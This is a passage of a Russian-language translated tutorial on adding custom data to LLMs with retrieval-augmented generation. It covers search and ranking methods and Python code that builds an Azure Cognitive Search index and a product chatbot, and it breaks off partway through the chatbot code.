Этот сайт использует файлы cookies. Продолжая просмотр страниц сайта, вы соглашаетесь с использованием файлов cookies. Если вам нужна дополнительная информация, пожалуйста, посетите страницу Политика файлов Cookie
Subscribe
Прямой эфир
Cryptocurrencies: 9512 / Markets: 114689
Market Cap: $ 3 787 132 962 593 / 24h Vol: $ 200 392 171 953 / BTC Dominance: 58.653467328398%

Н Новости

[Перевод] Добавление собственных данных в LLM с помощью RAG

Этот материал посвящён тому, как добавлять собственные данные в предварительно обученные LLM (Large Language Model, большая языковая модель) с применением подхода, основанного на промптах, который называется RAG (Retrieval‑Augmented Generation, генерация ответа с использованием результатов поиска).

023462d95496ef8ce48500baf50f43b0.png

Большие языковые модели знают о мире многое, но не всё. Так как обучение таких моделей занимает много времени, данные, использованные в последнем сеансе их обучения, могут оказаться достаточно старыми. И хотя LLM знакомы с общеизвестными фактами, сведения о которых имеются в интернете, они ничего не знают о ваших собственных данных. А это — часто именно те данные, которые нужны в вашем приложении, основанном на технологиях искусственного интеллекта. Поэтому неудивительно то, что уже довольно давно и учёные, и разработчики ИИ‑систем уделяют серьёзное внимание вопросу расширения LLM новыми данными.

До наступления эры LLM модели часто дополняли новыми данными, просто проводя их дообучение. Но теперь, когда используемые модели стали гораздо масштабнее, когда обучать их стали на гораздо больших объёмах данных, дообучение моделей подходит лишь для совсем немногих сценариев их использования. Дообучение особенно хорошо подходит для тех случаев, когда нужно сделать так, чтобы модель взаимодействовала бы с пользователем, используя стиль и тональность высказываний, отличающиеся от изначальных. Один из отличных примеров успешного применения дообучения — это когда компания OpenAI доработала свои старые модели GPT-3.5, превратив их в модели GPT-3.5-turbo (ChatGPT). Первая группа моделей была нацелена на завершение предложений, а вторая — на общение с пользователем в чате. Если модели, завершающей предложения, передавали промпт наподобие «Можешь рассказать мне о палатках для холодной погоды», она могла выдать ответ, расширяющий этот промпт: «и о любом другом походном снаряжении для холодной погоды?». А модель, ориентированная на общение в чате, отреагировала бы на подобный промпт чем‑то вроде такого ответа: «Конечно! Они придуманы так, чтобы выдерживать низкие температуры, сильный ветер и снег благодаря…». В данном случае цель компании OpenAI была не в том, чтобы расширить информацию, доступную модели, а в том, чтобы изменить способ её общения с пользователями. В таких случаях дообучение способно буквально творить чудеса!

Но дообучение уже не так хорошо себя показывает при необходимости добавления новых данных в модель. Это, как мне удалось выяснить, гораздо более распространённый бизнес‑сценарий. Кроме того, дообучение LLM требует больших объёмов высококачественных данных, серьёзных затрат на вычислительные ресурсы и много времени. Для большинства пользователей LLM всё это относится к разряду ограниченных ресурсов.

В этом материале мы рассмотрим RAG — альтернативный подход к добавлению собственных данных в LLM. Он основан на промптах и был представлен в 2021 году командой Facebook AI Research (FAIR), работавшей над ним вместе с другими исследователями. Концепция RAG, с одной стороны, даёт пользователю достаточно мощные возможности, которые позволяют применять её в поисковой системе Bing и на других высоконагруженных сайтах для внедрения самых свежих данных в их модели. А, с другой стороны, это — достаточно простая концепция, которую я смогу объяснить читателю в этой статье. Надо отметить, что применение RAG отличается эффективностью и в тех случаях, когда у пользователя нет большого объёма данных, нет серьёзного бюджета и нет большого количества времени на манипуляции с моделями.

Три примера кода, демонстрирующие различные сценарии применения RAG, вы можете найти в этом GitHub‑репозитории. В одном из них API OpenAI используются напрямую, во втором и в третьем применяются опенсорсные API LangChan и Semantic Kernel. Первый фрагмент кода и соответствующий ему сценарий использования RAG мы рассмотрим в этом материале, а два других примера я советую вам изучить самостоятельно.

Но, прежде чем мы займёмся кодом, предлагаю разобраться с основными понятиями RAG.

Обзор RAG

Идеи RAG могут быть реализованы разными способами, но на концептуальном уровне использование RAG в приложении, основанном на технологиях искусственного интеллекта, включает в себя следующие шаги:

  • Пользователь вводит вопрос.

  • Система ищет подходящие документы, которые могут содержать ответ на этот вопрос. Эти документы часто включают в себя собственные данные компании, которая разработала систему, а хранятся они обычно в некоем каталоге документов.

  • Система создаёт промпт для LLM, в котором скомбинированы данные, введённые пользователем, подходящие документы и инструкции для LLM. Модель должна ответить на вопрос пользователя, применив предоставленные ей документы.

  • Система отправляет промпт LLM.

  • LLM возвращает ответ на вопрос пользователя, основанный на предоставленных контекстных сведениях. Это — выходные данные системы.

Вот диаграмма, отражающая эту общую идею, лежащую в основе RAG:

https://miro.medium.com/v2/resize:fit:700/1*bIjsKJchyMJzf--LwWjeMg.png
Общее устройство системы, использующей RAG

Тут приведено описание работы RAG, сделанное простыми словами. Здесь почти нет сведений о реализации этого механизма. Предлагаю перейти к подробностям о нём, а для начала — взглянуть на научную публикацию, в которой была предложена идея RAG.

Публикация, посвящённая RAG

Термин «RAG» был предложен в 2021 году, в публикации «Retrieval‑Augmented Generation for Knowledge‑Intensive NLP Tasks», подготовленной командой FAIR и сотрудничавшими с ней учёными. Идеи, предложенные авторами этой работы, оказали огромное воздействие на ИИ‑решения, которыми мы пользуемся сегодня, поэтому с данными идеями стоит познакомиться поближе.

Вот — обзор архитектуры ИИ‑системы, предложенной в работе:

https://miro.medium.com/v2/resize:fit:700/1*WPNPxlCxh6Nw4muUyfULTQ.png
Архитектура ИИ-системы, использующей RAG

Ниже мы подробно обсудим каждую из составных частей этой архитектуры. Если смотреть в общем, то предложенная в работе структура системы составлена из двух компонентов: из поискового модуля и из модуля генератора. Поисковый компонент преобразует входной текст в последовательность чисел с плавающей запятой (вектор), используя кодировщик запроса. Далее, он, используя единый подход, трансформирует каждый из документов, применяя кодировщик документов, после чего сохраняет закодированные документы в виде поискового индекса. Затем, в поисковом индексе, поисковый компонент выполняет поиск векторов документов, которые имеют отношение к входному вектору. После этого он преобразует векторы документов обратно в их текстовое представление и возвращает эти тексты в качестве результата своей работы. Теперь в дело вступает генератор, который принимает текст, введённый пользователем, и соответствующие ему документы, комбинирует всё это в единый промпт и предлагает LLM дать ответ на вопрос пользователя с учётом информации, имеющейся в найденных ранее документах. То, что выдаст после этого LLM, и будет выходными данными всей этой системы.

Вы могли заметить, что кодировщик запроса, кодировщик документов и LLM на предыдущем изображении показаны с использованием похожих фигур. Это из‑за того, что все они реализованы с использованием трансформеров. Традиционные трансформеры состоят из двух частей: из кодировщика и декодера. Кодировщик отвечает за трансформацию входного текста в вектор (или в последовательность векторов), которая, в общих чертах, отражает смысл слов. А цель декодера — сгенерировать новый текст, основываясь на входных данных. В архитектуре системы, предложенной в вышеупомянутой публикации, кодировщик запроса и кодировщик документов реализованы с помощью трансформеров, в состав которых входит лишь кодировщик. Дело в том, что этим компонентам системы нужно лишь преобразовывать фрагменты текста в векторы, состоящие из чисел. А LLM в модуле генератора реализована на базе традиционного трансформера, содержащего и кодировщик, и декодер.

Как обучают модель, обладающую такой архитектурой? В публикации предлагается использовать предварительно обученные трансформеры и проводить совместное дообучение только кодировщика запросов и LLM из блока генератора. Это дообучение выполняется с использованием пар фрагментов данных, один из которых — это то, что ввёл пользователь, а второй — это то, что ожидается получить на выходе LLM. Кодировщик документов не дообучают, так как это может быть достаточно затратным, и из‑за того, что авторы работы обнаружили, что в этом нет необходимости для обеспечения хороших результатов работы системы.

В публикации предлагается два подхода для реализации этой архитектуры:

  • RAG‑последовательность: получают k документов и используют их для генерирования всех выходных токенов, которые служат ответом на запрос пользователя.

  • RAG‑токен: получают k документов, используют их для генерирования следующего токена, затем получают ещё k документов, которые используют для генерации следующего токена, и так далее. Это значит, что всё может свестись к нахождению нескольких разных наборов документов при генерировании единственного ответа на запрос пользователя.

Теперь вы получили достаточно хорошее общее представление об архитектуре системы, предложенной в публикации о RAG. Подобный шаблон проектирования достаточно широко распространён в ИИ‑индустрии. Но оказалось, что не всё то, о чём ведётся речь в публикации, реализовано в точности так же, как в этой публикации предложено.

Использование RAG на практике

На практике реализации RAG, которые широко используются в различных организациях, основаны на том, что было предложено в вышеупомянутой публикации, но при этом для них характерны некоторые особенности:

  • Из двух подходов к реализации архитектуры RAG, предложенных в публикации, почти всегда выбирают RAG‑последовательность. Дело в том, что этот подход оказывается дешевле и проще, чем другой. При этом он даёт отличные результаты.

  • На практике обычно не занимаются дообучением каких‑либо трансформеров, входящих в состав системы. Те предварительно обученные LLM, которыми мы можем пользоваться в наши дни, достаточно хороши для того чтобы пользоваться ими в их исходном виде. Их, кроме того, слишком затратно дообучать самостоятельно.

Стоит добавить, что применяемые методы поиска документов не всегда реализованы именно так, как предложено в публикации. Поиск обычно выполняется с применением некоего поискового сервиса — наподобие FAISS или Azure Cognitive Search. Такие сервисы поддерживают различные способы поиска документов, которые хорошо сочетаются с RAG. В работе поисковых сервис обычно можно выделить два следующих шага:

  • Поиск информации. На этом шаге производится сопоставление запроса пользователя с документами, находящимися в поисковом индексе. После этого осуществляется извлечение наиболее подходящих документов. Существуют три самых распространённых подхода к поиску документов: поиск по ключевым словам, векторный поиск, гибридный поиск.

  • Ранжирование информации. Это — необязательный шаг, который следует за шагом поиска информации. При его выполнении берётся список документов, которые были сочтены подходящими при поиске информации, после чего, по более точным алгоритмам, чем ранее, определяется их соответствие запросу пользователя.

Поговорим о поиске и ранжировании документов подробнее, начав с трёх подходов к поиску информации.

Поиск по ключевым словам

Самый простой способ поиска документов, имеющих отношение к запросу пользователя — это так называемый «поиск по ключевым словам» (ещё известный как «полнотекстовый поиск»). Поиск по ключевым словам использует те ключевые слова, которые ввёл пользователь, для поиска по индексу документов, содержащих эти слова. Сравнение содержимого документов с запросом выполняется исключительно на основе текста, без применения векторов. Этот подход к поиску существует уже давно, но он не потерял актуальности и в наши дни. Он весьма полезен в тех случаях, когда ищут идентификаторы пользователей, коды продуктов, адреса и любые другие данные, при поиске которых важно точное совпадение с текстом запроса. Вот — общая схема системы, в которой используется поиск по ключевым словам.

https://miro.medium.com/v2/resize:fit:700/1*epQPSuH6PvolP9LBZE-2YQ.png
Система, в которой используется поиск по ключевым словам

При таком подходе поисковый сервис поддерживает работу инвертированного индекса, хранящего сведения о соответствии слов и документов, в которых используются эти слова. Текстовые данные, введённые пользователем, разбирают, извлекая из них ключевые слова. Эти слова анализируют, находя их базовые формы. Затем выполняют поиск по инвертированному индексу, каждому совпадению назначают оценку, а после этого наиболее релевантные документы, соответствующие запросу, возвращают из поискового сервиса.

Векторный поиск

«Векторный поиск», который ещё называют «плотным поиском информации» («dense retrieval»), отличается от поиска по ключевым словам. Один из аспектов этого отличия заключается в том, что при векторном поиске возможно нахождение соответствия поисковому запросу в документах, в которых нет ключевых слов из запроса, но общий смысл которых близок к смыслу запроса. Например, представьте, что создаёте чат‑бота, который планируется использовать в службе поддержки сайта для сдачи недвижимости в аренду. Пользователь задаёт боту вопрос: «Do you have recommendations for a spacious apartment close to the sea», интересуясь, может ли он порекомендовать просторное жильё, расположенное близко к морю. В документе, содержащем сведения о подходящем жилище, имеется следующий текст: «4000 sq ft home with ocean view» — тут описан дом площадью 4000 квадратных футов с видом на океан. При поиске по ключевым словам такой документ найден не будет. А вот система векторного поиска его найдёт. Векторный поиск лучше всего показывает себя в тех случаях, когда в неструктурированном тексте ищут некие общие идеи, а не точные ключевые слова.

Вот — общий обзор RAG‑системы, в которой используется векторный поиск:

https://miro.medium.com/v2/resize:fit:700/1*aAd2Np3BvPt_uaUTpo6Z1w.png
Система, в которой используется векторный поиск

Взглянув на эту схему, можно понять, что векторный поиск, используемый на практике, это — практически то же самое, что было предложено в публикации по RAG. За исключением того, что в данном случае не проводится дообучение трансформеров.

В подобных системах для кодирования запроса и документов обычно используют предварительно обученную модель эмбеддингов, такую, как text‑embedding‑ada-002 от OpenAI. А для формирования итогового результата применяют предварительно обученные LLM, например — gpt-35-turbo (ChatGPT), тоже созданную OpenAI. Модель эмбеддингов используется для преобразования входного текста и текста документов в соответствующие «эмбеддинги». Что такое «эмбеддинг»? Это — вектор чисел с плавающей запятой. Он, в общих чертах, «схватывает» смысл текста, который в нём закодирован. Если два фрагмента текста как‑то связаны, тогда можно предположить, что и соответствующие им эмбеддинги будут похожи друг на друга.

Как определить то, что векторы похожи? Для ответа на этот вопрос рассмотрим пример. Мы исходим из предположения о том, что для нахождения следующих векторов эмбеддингов используется наша собственная модель эмбеддингов:

  • a = (0, 1) представляет «Do you have recommendations for a spacious apartment close to the sea?» — «Можете ли вы порекомендовать просторное жильё, расположенное близко к морю?».

  • b = (0.12, 0.99) представляет «4000 sq ft home with ocean view» — «дом площадью 4000 квадратных футов с видом на океан»

  • c = (0.96, 0.26) представляет «I want a donut» — «Я хочу пончик».

Эти векторы можно нарисовать на диаграмме:

https://miro.medium.com/v2/resize:fit:700/1*i9on0CCqt6gx-62HlQVz7A.png
Графическое представление векторов

Просто глядя на это изображение, можно догадаться о том, что вектор, который сильнее всего похож на вектор a — это b (а не c). Если прибегнуть к математическим методам выявления схожести векторов, то можно сказать, что существуют три распространённых подхода для решения этой задачи: скалярное произведение векторов, косинусный коэффициент векторов и евклидово расстояние между векторами. Найдём показатели, характеризующие схожесть векторов, используя эти методы, и посмотрим, подтвердят ли они нашу догадку.

При применении метода скалярного произведения векторов, как можно ожидать из его названия, просто вычисляют скалярное произведение (его ещё называют внутренним произведением) векторов. Чем больше результат — тем ближе друг к другу векторы:

https://miro.medium.com/v2/resize:fit:700/1*lvuIIQnVTfXlT2nUUZJxKg.png
Скалярное произведение векторов

Скалярное произведение векторов a и b больше, чем скалярное произведение a и c. Это подтверждает нашу догадку относительно того, что векторы a и b больше похожи друг на друга, чем a и c. Применяя этот метод, надо помнить о том, что скалярное произведение очень сильно зависит от длины векторов. Оно применимо только для сравнения схожести векторов, имеющих одинаковую длину. Эмбеддинги OpenAI всегда представлены единичными векторами — векторами, имеющими длину, равную единице. Чтобы наши эмбеддинги согласовывались бы с теми, что используются в OpenAI, они тоже должны быть единичными.

Косинусный коэффициент векторов вычисляют, находя косинус угла между двумя векторами. Чем этот коэффициент больше — тем сильнее векторы похожи друг на друга. Формула для вычисления этого коэффициента предусматривает вычисление скалярного произведения векторов, которое делят на произведение длин векторов. Это дополнение предыдущей формулы, нормализующее результаты, позволяет эффективно измерять схожесть векторов, учитывая их направления и не обращая внимания на их длины.

https://miro.medium.com/v2/resize:fit:700/1*Nw9GicUgdlh9z8uSqQEN5w.png
Косинусный коэффициент векторов

Так как мы пользуемся единичными векторами, их скалярное произведение и косинусный коэффициент дают в точности одинаковые результаты.

Вычисляя евклидово расстояние между векторами, находят расстояние между ними — в том смысле, в котором понятие «расстояние» используется в обычной жизни. Чем меньше расстояние между двумя векторами — тем сильнее они друг на друга похожи. В отличие от косинусного коэффициента, при вычислении евклидового расстояния во внимание принимаются длина и направление векторов.

https://miro.medium.com/v2/resize:fit:700/1*3WEwPbQfGtMqcL57dIG69A.png
Евклидово расстояние между векторами

Видно, что расстояние между векторами a и b меньше, чем между векторами a и c. Это говорит нам о том, что векторы a и b больше похожи друг на друга, чем a и c.

В примере используются двумерные векторы, что позволяет нам, просто глядя на их изображения, строить догадки об их схожести. Но в случае с эмбеддингами часто бывает так, что речь идёт о векторах гораздо большей размерности. Например, модель text‑embedding‑ada-002, созданная OpenAI, генерирует векторы, размерность которых равна 1536. Не забывайте о том, что количество измерений, используемых для представления эмбеддингов, не зависит от длины входного текста. Поэтому и короткий запрос, и длинный документ будут преобразованы в векторы эмбеддингов одинаковой размерности.

Большинство поисковых сервисов, существующих в наши дни, поддерживают все три рассмотренные нами метода определения схожести векторов. Они позволяют пользователю выбрать метод, который ему нужен. Какой из этих методов лучше выбрать?

  • Если ваши эмбеддинги имеют разную длину, и вы хотите учитывать их длину при определении их схожести, тогда лучше всего будет выбрать евклидово расстояние между векторами, так как при его вычислении учитывается и длина векторов, и их направление.

  • Если все ваши эмбеддинги нормализованы, приведены к единичной длине, тогда все три рассмотренных нами подхода дадут, как вы уже видели, схожие результаты. Но при этом скалярное произведение векторов вычисляется быстрее. Предположим, вы работаете с системой (с приложение или сервисом), которая знает о том, что имеет дело с единичными векторами. В такой ситуации вычисление косинусного коэффициента векторов, скорее всего, будет оптимизировано и сведено к вычислению их скалярного произведения. Поэтому, скорее всего, в подобном случае вычислительная нагрузка на систему при использовании косинусного коэффициента векторов будет столь же скромной, как и при использовании скалярного произведения.

Для того чтобы найти векторы документов, лучше всего соответствующие вектору запроса, поисковый сервис может пойти самым простым и неэффективным, в плане траты вычислительных ресурсов, путём. А именно, он определит схожесть входного вектора с вектором каждого из документов, отсортирует список документов в соответствии с их оценкой, и вернёт верхнюю часть этого списка. Этот простой подход, правда, не масштабируется. Он не подходит для больших корпоративных приложений, в которых используется очень много документов. В результате поисковые сервисы обычно используют некую разновидность алгоритма ANN (Approximate Nearest Neighbor, приближённый поиск ближайшего соседа). В этом алгоритме применяются продуманные оптимизации, которые позволяют ему возвращать приблизительные результаты быстрее, чем при использовании других методов. Одной из популярных реализаций ANN является алгоритм HNSW (Hierarchical Navigable Small World, иерархический маленький мир).

Гибридный поиск

Гибридный поиск подразумевает применение и поиска по ключевым словам, и векторного поиска. Например, представим себе ситуацию, когда имеется идентификатор клиента и текстовый запрос. Нужно провести поиск, учитывающий и точные данные в виде идентификатора, и общий смысл текста, введённого пользователем. Это — отличный сценарий для применения гибридного поиска. Два типа поиска выполняются самостоятельно, после чего полученные данные комбинируются с помощью специального алгоритма, который выбирает лучшее из того, что дали разные подходы к поиску. Этот метод часто используется на практике, особенно — в достаточно сложных приложениях.

Семантическое ранжирование

Семантическое ранжирование (или переранжирование) — это необязательный шаг работы RAG‑системы, который следует за шагом нахождения документов. На шаге нахождения документов система делает всё возможное для ранжирования возвращённых документов на основании их релевантности запросу пользователя. А семантическое ранжирование часто способно улучшить результаты первоначальной оценки документов. При его выполнении берётся подмножество документов, возвращённое после их поиска, после чего, с помощью LLM, обученной специально для выполнения этой задачи, вычисляются коэффициенты релевантности более высокого качества, чем ранее. Эти коэффициенты применяются для переранжирования документов.

https://miro.medium.com/v2/resize:fit:700/1*LrSPog4UlVa05CthUJASdA.png
RAG-система, в которой используется модуль семантического ранжирования документов

Здесь показан модуль семантического ранжирования, скомбинированный с модулем векторного поиска, но этот модуль хорошо сочетается и с подсистемой поиска по ключевым словам. Я решила показать здесь совместную работу семантического ранжирования и векторного поиска из‑за того, что именно так сделано в примере реализации RAG‑системы, подготовленном для этой статьи. Рассмотрим этот пример.

Простая реализация RAG-системы

В этом разделе мы рассмотрим код, который позволяет, используя RAG и сервис Azure Cognitive Search, добавлять собственные данные в ChatGPT. Код, который я тут продемонстрирую, использует API OpenAI для прямого взаимодействия с СhatGPT. Он находится в папке 1_openai репозитория с кодом к статье. В этом репозитории вы можете найти ещё две реализации той же идеи, одна из которых основана на LangChain (папка 2_langchain), а другая — на Semantic Kernel (папка 3_semantic_kernel). Это — два популярных опенсорсных фреймворка, которые помогают разработчикам создавать приложения, использующие LLM.

Цель этого проекта — создание чат-бота, к которому пользователи смогут обращаться для получения дополнительной информации о товарах, которые продаёт некая компания. Данные, которыми мы будем пользоваться, представлены несколькими markdown-файлами. В них содержатся подробные сведения о товарах.

Начнём с разбора файла init_search_1.py:

"""
Инициализирует индекс Azure Cognitive Search нашими данными, используя векторный поиск
и семантическое ранжирование.

Для запуска этого кода в вашей учётной записи Azure уже должны быть созданы ресурсы
"Cognitive Search" и "OpenAI".
"""
import os

import openai
from azure.core.credentials import AzureKeyCredential
from azure.search.documents import SearchClient
from azure.search.documents.indexes import SearchIndexClient
from azure.search.documents.indexes.models import (
    HnswParameters,
    HnswVectorSearchAlgorithmConfiguration,
    PrioritizedFields,
    SearchableField,
    SearchField,
    SearchFieldDataType,
    SearchIndex,
    SemanticConfiguration,
    SemanticField,
    SemanticSettings,
    SimpleField,
    VectorSearch,
)
from dotenv import load_dotenv
from langchain.document_loaders import DirectoryLoader, UnstructuredMarkdownLoader
from langchain.text_splitter import Language, RecursiveCharacterTextSplitter

# Конфигурация Azure Search.
AZURE_SEARCH_ENDPOINT = os.getenv("AZURE_SEARCH_ENDPOINT")
AZURE_SEARCH_KEY = os.getenv("AZURE_SEARCH_KEY")
AZURE_SEARCH_INDEX_NAME = "products-index-1"

# Конфигурация Azure OpenAI.
AZURE_OPENAI_API_TYPE = "azure"
AZURE_OPENAI_API_BASE = os.getenv("AZURE_OPENAI_API_BASE")
AZURE_OPENAI_API_VERSION = "2023-03-15-preview"
AZURE_OPENAI_API_KEY = os.getenv("AZURE_OPENAI_API_KEY")
AZURE_OPENAI_EMBEDDING_DEPLOYMENT = os.getenv("AZURE_OPENAI_EMBEDDING_DEPLOYMENT")

DATA_DIR = "data/"


def load_and_split_documents() -> list[dict]:
    """
    Загружает наши документы с диска и разбивает их на фрагменты.
    Возвращает список словарей.
    """
    # Загрузка данных.
    loader = DirectoryLoader(
        DATA_DIR, loader_cls=UnstructuredMarkdownLoader, show_progress=True
    )
    docs = loader.load()

    # Разбиение документов на фрагменты.
    splitter = RecursiveCharacterTextSplitter.from_language(
        language=Language.MARKDOWN, chunk_size=6000, chunk_overlap=100
    )
    split_docs = splitter.split_documents(docs)

    # Преобразование документов в список словарей.
    final_docs = []
    for i, doc in enumerate(split_docs):
        doc_dict = {
            "id": str(i),
            "content": doc.page_content,
            "sourcefile": os.path.basename(doc.metadata["source"]),
        }
        final_docs.append(doc_dict)

    return final_docs


def get_index(name: str) -> SearchIndex:
    """
    Возвращает индекс Azure Cognitive Search с заданным именем.
    """
    # Поля, которые мы хотим индексировать. Поле "embedding" - это векторное поле,
    # которое будет использоваться для векторного поиска.
    fields = [
        SimpleField(name="id", type=SearchFieldDataType.String, key=True),
        SimpleField(name="sourcefile", type=SearchFieldDataType.String),
        SearchableField(name="content", type=SearchFieldDataType.String),
        SearchField(
            name="embedding",
            type=SearchFieldDataType.Collection(SearchFieldDataType.Single),
            # Размер вектора, созданного моделью text-embedding-ada-002.
            vector_search_dimensions=1536,
            vector_search_configuration="default",
        ),
    ]

    # Поле "content" должно иметь приоритет при семантическом ранжировании.
    semantic_settings = SemanticSettings(
        configurations=[
            SemanticConfiguration(
                name="default",
                prioritized_fields=PrioritizedFields(
                    title_field=None,
                    prioritized_content_fields=[SemanticField(field_name="content")],
                ),
            )
        ]
    )

    # Для векторного поиска мы хотим пользоваться алгоритмом HNSW (Hierarchical Navigable Small World)
    # (разновидность алгоритма приближённого поиска ближайшего соседа) с
    # применением косинусного коэффициента векторов.
    vector_search = VectorSearch(
        algorithm_configurations=[
            HnswVectorSearchAlgorithmConfiguration(
                name="default",
                kind="hnsw",
                parameters=HnswParameters(metric="cosine"),
            )
        ]
    )

    # Создание поискового индекса.
    index = SearchIndex(
        name=name,
        fields=fields,
        semantic_settings=semantic_settings,
        vector_search=vector_search,
    )

    return index


def initialize(search_index_client: SearchIndexClient):
    """
    Инициализирует индекс Azure Cognitive Search нашими данными, используя 
векторный поиск.
    """
    # Загрузка данных.
    docs = load_and_split_documents()
    for doc in docs:
        doc["embedding"] = openai.Embedding.create(
            engine=AZURE_OPENAI_EMBEDDING_DEPLOYMENT, input=doc["content"]
        )["data"][0]["embedding"]

    # Создание индекса Azure Cognitive Search.
    index = get_index(AZURE_SEARCH_INDEX_NAME)
    search_index_client.create_or_update_index(index)

    # Выгрузка данных в индекс.
    search_client = SearchClient(
        endpoint=AZURE_SEARCH_ENDPOINT,
        index_name=AZURE_SEARCH_INDEX_NAME,
        credential=AzureKeyCredential(AZURE_SEARCH_KEY),
    )
    search_client.upload_documents(docs)


def delete(search_index_client: SearchIndexClient):
    """
    Удаляет индекс Azure Cognitive Search.
    """
    search_index_client.delete_index(AZURE_SEARCH_INDEX_NAME)


def main():
    load_dotenv()

    openai.api_type = AZURE_OPENAI_API_TYPE
    openai.api_base = AZURE_OPENAI_API_BASE
    openai.api_version = AZURE_OPENAI_API_VERSION
    openai.api_key = AZURE_OPENAI_API_KEY

    search_index_client = SearchIndexClient(
        AZURE_SEARCH_ENDPOINT, AzureKeyCredential(AZURE_SEARCH_KEY)
    )

    initialize(search_index_client)
    # delete(search_index_client)


if __name__ == "__main__":
    main()

Наша первая задача — загрузить markdown‑файлы с данными и разбить их на фрагменты по 6000 символов, сделав это так, чтобы данные соседних фрагментов перекрывались бы на 100 символов. Каждый из этих фрагментов данных позже будет закодирован с помощью одного эмбеддинга и добавлен в поисковый индекс. Если файлы достаточно малы — не нужно разбивать их на части, их можно преобразовывать в эмбеддинги целиком. Но если они велики — лучше разделить их на фрагменты, так как эмбеддинги имеют фиксированные размеры, поэтому не смогут адекватно представить всю информацию из слишком больших текстовых файлов. Мы добавляем во фрагменты повторяющуюся информацию для того чтобы не терять смысл текстов, разбиваемых границами фрагментов.

Далее — создаётся список, в котором содержатся словари, каждый из которых представляет отдельный фрагмент текста, уникальный идентификатор, имя файла, являющегося источником текста. Затем для каждого фрагмента вычисляется эмбеддинг. Для этого используется модель text‑embedding‑ada-002 от OpenAI. Найденный эмбеддинг добавляется в словарь, соответствующий тому фрагменту текста, на основе которого он создан. Полученный список словарей содержит всю информацию, необходимую для заполнения поискового индекса.

Теперь мы создаём поисковый индекс, используя API Azure Cognitive Search. Для этого осуществляется настройка полей, которые будут созданы в индексе. При этом нужно не забыть указать то, что поле с эмбеддингами должно поддерживать векторный поиск. Векторный поиск настраивается посредством указания нескольких параметров. Первый — это размер эмбеддинга — 1536 (это всегда так при работе с используемой нами моделью от OpenAI). Второй задаёт использование косинусного коэффициента векторов для проверки их сходства (именно этот метод рекомендует OpenAI). Третий отражает наше желание ускорить поиск похожих векторов, воспользовавшись алгоритмом HNSW. Мы, кроме того, указываем, что хотим включить семантическое ранжирование для контекстных текстовых полей. В итоге мы даём индексу имя и сохраняем его.

И наконец — наши данные выгружаются в только что созданный поисковый индекс. Проверить, все ли фрагменты были загружены в поисковый индекс, можно, зайдя на портал Azure, щёлкнув по ресурсу Cognitive Search, затем — по имени ресурса, а потом — по Indexes. Там, справа, должен находиться нужный индекс со сведениями о количестве документов, которое соответствует количеству фрагментов документов, загруженных в индекс. В моём случае в индекс было загружено 45 фрагментов документов. Если вы попали на страницу индекса, щёлкнув по его имени, просмотреть загруженные в него данные можно, щёлкнув по кнопке Search в блоке Search Explorer.

https://miro.medium.com/v2/resize:fit:700/1*eZXu8FOoWShxki4pxDPkng.png
Данные, загруженные в поисковый индекс

Если, в вышеупомянутом репозитории, посмотреть на файлы init_search из папок проектов, основанных на LangChain и Semantic Kernel, эквивалентные тому, который мы только что разобрали, то окажется, что в них содержится гораздо меньше кода. Непосредственное использование API Azure Cognitive Search даёт нам более широкие возможности управления настройками индекса. А библиотека, применяемая в проекте, играет роль промежуточного слоя между программистом и Azure, который скрывает множество сложных механизмов. Ответ на вопрос о том, что лучше использовать в том или ином проекте, всецело зависит от того, что именно нужно программисту.

Теперь, когда мы подготовили к работе поисковый индекс, поговорим о том, как воспользоваться им в чат‑боте. Разберём файл main_1.py. Это — главный исполняемый файл, обеспечивающий функционирование чат‑бота:

"""
Точка входа для чат-бота.
"""
from chatbot_1 import Chatbot


def main():
    chatbot = Chatbot()
    chatbot.ask("I need a large backpack. Which one do you recommend?")
    chatbot.ask("How much does it cost?")
    chatbot.ask("And how much for a donut?")


if __name__ == "__main__":
    main()

Функция main играет роль пользователя, который задаёт чат-боту несколько вопросов. «Задать вопрос» — значит вызвать метод чат-бота ask. Эквивалентные файлы в папках проектов LangChain и Semantic Kernel выглядят точно так же.

Теперь посмотрим на файл chatbot_1.py. Он содержит код для чат-бота, который помнит историю общения и пользуется возможностями RAG:

"""
Чат-бот, поддерживающий контекстные сведения и запоминающий историю беседы.
"""
import os

import openai
from azure.core.credentials import AzureKeyCredential
from azure.search.documents import SearchClient
from azure.search.documents.models import Vector
from dotenv import load_dotenv

# Настройки Azure Search.
AZURE_SEARCH_ENDPOINT = os.getenv("AZURE_SEARCH_ENDPOINT")
AZURE_SEARCH_KEY = os.getenv("AZURE_SEARCH_KEY")
AZURE_SEARCH_INDEX_NAME = "products-index-1"

# Настройки Azure OpenAI.
AZURE_OPENAI_API_TYPE = "azure"
AZURE_OPENAI_API_BASE = os.getenv("AZURE_OPENAI_API_BASE")
AZURE_OPENAI_API_VERSION = "2023-03-15-preview"
AZURE_OPENAI_API_KEY = os.getenv("AZURE_OPENAI_API_KEY")
AZURE_OPENAI_CHATGPT_DEPLOYMENT = os.getenv("AZURE_OPENAI_CHATGPT_DEPLOYMENT")
AZURE_OPENAI_EMBEDDING_DEPLOYMENT = os.getenv("AZURE_OPENAI_EMBEDDING_DEPLOYMENT")

# Роли чата
SYSTEM = "system"
USER = "user"
ASSISTANT = "assistant"


class Chatbot:
    """Чат с LLM с применением RAG. Хранит в памяти историю чата."""

    chat_history = []

    def __init__(self):
        load_dotenv()
        openai.api_type = AZURE_OPENAI_API_TYPE
        openai.api_base = AZURE_OPENAI_API_BASE
        openai.api_version = AZURE_OPENAI_API_VERSION
        openai.api_key = AZURE_OPENAI_API_KEY

    def _summarize_user_intent(self, query: str) -> str:
        """
        Создаёт сообщение пользователя, выражающее его реальное намерение, путём объединения
истории чата и запроса пользователя.
        """
        chat_history_str = ""
        for entry in self.chat_history:
            chat_history_str += f"{entry['role']}: {entry['content']}\n"
        messages = [
            {
                "role": SYSTEM,
                "content": (
                    "You're an AI assistant reading the transcript of a conversation "
                    "between a user and an assistant. Given the chat history and "
                    "user's query, infer user real intent."
                    f"Chat history: ```{chat_history_str}```\n"
                    f"User's query: ```{query}```\n"
                ),
            }
        ]
        chat_intent_completion = openai.ChatCompletion.create(
            deployment_id=AZURE_OPENAI_CHATGPT_DEPLOYMENT,
            messages=messages,
            temperature=0.7,
            max_tokens=1024,
            n=1,
        )
        user_intent = chat_intent_completion.choices[0].message.content

        return user_intent

    def _get_context(self, user_intent: str) -> list[str]:
        """
        Получает подходящие документы из Azure Cognitive Search.
        """
        query_vector = Vector(
            value=openai.Embedding.create(
                engine=AZURE_OPENAI_EMBEDDING_DEPLOYMENT, input=user_intent
            )["data"][0]["embedding"],
